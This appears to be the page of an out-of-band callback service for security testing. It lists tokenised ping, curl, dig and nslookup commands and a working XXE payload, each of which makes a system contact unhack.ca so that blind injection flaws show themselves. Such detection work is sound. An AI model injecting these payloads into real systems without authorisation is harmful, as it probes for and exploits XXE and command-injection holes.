$ ping -c1 -p 00fd3de8a0b7678bbe4654af0a855300 unhack.ca
 
$ curl http://unhack.ca/p/fd3de8a0b7678bbe4654af0a8553
 
$ dig fd3de8a0b7678bbe4654af0a8553 @unhack.ca
 
$ dig fd3de8a0b7678bbe4654af0a8553.ns.unhack.ca
 
C:\> nslookup fd3de8a0b7678bbe4654af0a8553 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/fd3de8a0b7678bbe4654af0a8553">]>
    <foo>&xxe;</foo>
Waiting for ping...